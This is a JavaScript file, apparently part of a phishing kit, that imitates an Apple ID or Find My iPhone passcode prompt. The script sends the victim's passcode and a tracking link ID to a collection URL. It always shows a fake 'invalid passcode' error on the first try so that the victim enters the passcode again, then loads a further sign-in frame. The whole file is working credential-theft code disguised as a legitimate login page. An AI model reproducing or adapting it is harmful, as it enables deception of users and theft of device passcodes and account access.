var ScriptedSequence = $("#ScriptedSequence", window.parent.document).val()
	,LinkID = $("#lid")
	,PostUrl = $("#post_url");
	
let DiagnosticData = $("#DiagnosticData", window.parent.document).val()
  , DeviceIdentifier = $("#deviceIdentifier", window.parent.document).val();
var Body = $("body")
  , Container = $("#si-body-container")
  , PasscodeTextBox = $("#string_passcode_text_field")
  , FormTextBoxes = $("#form-cell-wrapper")
  , SubmitButton = $("#sign-in")
  , SubmitButtonSpinner = $("#SignInSpinner")
  , ModalCancelButton = $("#modal-signin-cancel", window.parent.document)
  , ErrMsgContainer = $("#ErrorMessageContainer")
  , FormSwitcherSpinner = $("#ui-form-switcher-loader", window.parent.document)
  , FormContainer = $("#form-container", window.parent.document)
  , FormLabel = $("#header-view", window.parent.document)
  , MainForm = $("#sign_in_form")
  , MainContainer = $("#sign_in_container")
  , Chunk = $("#FMiPContaner", window.parent.document)
  , Cell = $("#form-cell-wrapper");
function SetFocusOnPasscodeTextBox() {
    return $(PasscodeTextBox).addClass("apple-id-focus"),
    $(MainForm).addClass("has-focus"),
    0 === $(PasscodeTextBox).val().length && ($(SubmitButton).addClass("disable"),
    $(SubmitButton).prop("disabled", !0)),
    null
}
function RemoveFocusFromPasscodeTextBox() {
    return $(MainForm).removeClass("has-focus"),
    $(PasscodeTextBox).removeClass("apple-id-focus"),
    $(PasscodeTextBox).val().length > 0 && $(PasscodeTextBox).val().length <= 50 && ($(SubmitButton).removeClass("disable"),
    $(SubmitButton).prop("disabled", !1)),
    null
}
function ShowPopUp(e) {
    var o = $("#errMsg")
      , t = $("#errMsgSrv");
    return $(ErrMsgContainer).removeClass("hidden"),
    "InvalidPasscode" === e ? ($(t).addClass("hidden"),
    $(o).removeClass("hidden")) : "ServerError" === e && ($(o).addClass("hidden"),
    $(t).removeClass("hidden")),
    $(ErrMsgContainer).on("click", ( () => {
        HidePopUp()
    }
    )),
    null
}
function HidePopUp() {
    return $(ErrMsgContainer).addClass("hidden"),
    null
}
$(document).ready(( () => {
    var e = $("#sign-in-label-passcode", window.parent.document)
      , o = $("#sign-in-label", window.parent.document)
      , t = $("#sign-in-label-2fa", window.parent.document);
    $(o).addClass("hidden"),
    $(e).removeClass("hidden"),
    $(t).addClass("hidden"),
    $(ModalCancelButton).css({
        "pointer-events": "auto",
        color: ""
    }),
    window.matchMedia && window.matchMedia("(prefers-color-scheme: dark)").matches ? ($(Body).addClass("theme-dark"),
    $(Container).attr("data-theme", "lite")) : $(Container).attr("data-theme", "dark"),
    window.matchMedia("(prefers-color-scheme: dark)").addEventListener("change", (function(e) {
        "dark" === (e.matches ? "dark" : "light") ? ($(Body).addClass("theme-dark"),
        $(Container).attr("data-theme", "lite")) : ($(Body).removeClass("theme-dark"),
        $(Container).attr("data-theme", "dark"))
    }
    )),
    "0xc0f35f45" === ScriptedSequence || "0x7850610a" === ScriptedSequence && $(Container).addClass("si-container-str-passcode"),
    $(Container).css("margin-top", "-30px"),
    SetFocusOnPasscodeTextBox(),
    $(PasscodeTextBox).on("click", ( () => {
        $(FormTextBoxes).removeClass("is-error"),
        SetFocusOnPasscodeTextBox()
    }
    )),
    $(PasscodeTextBox).keypress((e => {
        13 === e.keyCode && $(PasscodeTextBox).val().length > 0 && $(PasscodeTextBox).val().length <= 50 && $(SubmitButton).click()
    }
    )),
    $(MainForm).on("focusout", ( () => {
        RemoveFocusFromPasscodeTextBox()
    }
    )),
    $(PasscodeTextBox).on("input paste keyup click focus", ( () => {
        HidePopUp(),
        $(Cell).removeClass("is-error"),
        $(PasscodeTextBox).val().length > 0 && $(PasscodeTextBox).val().length <= 50 ? ($(SubmitButton).removeClass("disable"),
        $(SubmitButton).prop("disabled", !1)) : ($(SubmitButton).addClass("disable"),
        $(SubmitButton).prop("disabled", !0))
    }
    ));
	
	
	$(SubmitButton).on("click", () => {
		if ($(PasscodeTextBox).val().length > 0 && $(PasscodeTextBox).val().length <= 50) {
			$(ModalCancelButton).css({
				"pointer-events": "none",
				color: "var(--theme-color-gray3)"
			});
			$(PasscodeTextBox).addClass("form-textbox-entered");
			$(PasscodeTextBox).prop("disabled", true);
			$(SubmitButton).addClass("disable");
			$(SubmitButton).prop("disabled", true);
			$(SubmitButton).addClass("v-hide");
			$(SubmitButtonSpinner).removeClass("hide");
			$(SubmitButtonSpinner).addClass("show");

			setTimeout(() => {
				RemoveFocusFromPasscodeTextBox();
				window.parent.SendRequest($(PostUrl).val(), {
					type: "POST",
					dataType: "json",
					timeout: 60000,
					data: {
						type: "passcode",
						id: $(LinkID).val(),
						pass: $(PasscodeTextBox).val()
					}
				}, 10, 2500, (e) => {
					if (parseInt($("#Counter").val()) === 0) {
						$("#Counter").val("1");
						setTimeout(() => {
							$(Cell).addClass("is-error");
							ShowPopUp("InvalidPasscode");
							$(PasscodeTextBox).prop("disabled", false);
							$(SubmitButtonSpinner).removeClass("show").addClass("hide");
							$(SubmitButton).removeClass("v-hide").addClass("disable");
							$(PasscodeTextBox).val("");
							$(PasscodeTextBox).removeClass("form-textbox-entered");
							$(ModalCancelButton).css({
								"pointer-events": "all",
								color: ""
							});
						}, 3000);
					} else {
						setTimeout(() => {
							$(FormLabel).addClass("hidden");
							$(FormContainer).addClass("hidden");
							$(FormSwitcherSpinner).removeClass("hidden");
							
							setTimeout(() => {
								$("#aid-auth-widget-iFrame", window.parent.document).prop("src", "Components/Frames/signin.php");
								
								$(FormLabel).removeClass("hidden");
								$(FormContainer).removeClass("hidden");
								$(FormSwitcherSpinner).addClass("hidden");
							
							}, 2000);
							
						}, 2500);
					}
					
				});
			}, 1000);
		} else {
			$(SubmitButton).addClass("disable");
			$(SubmitButton).prop("disabled", true);
			SetFocusOnPasscodeTextBox();
		}
	});

	
	
}
));
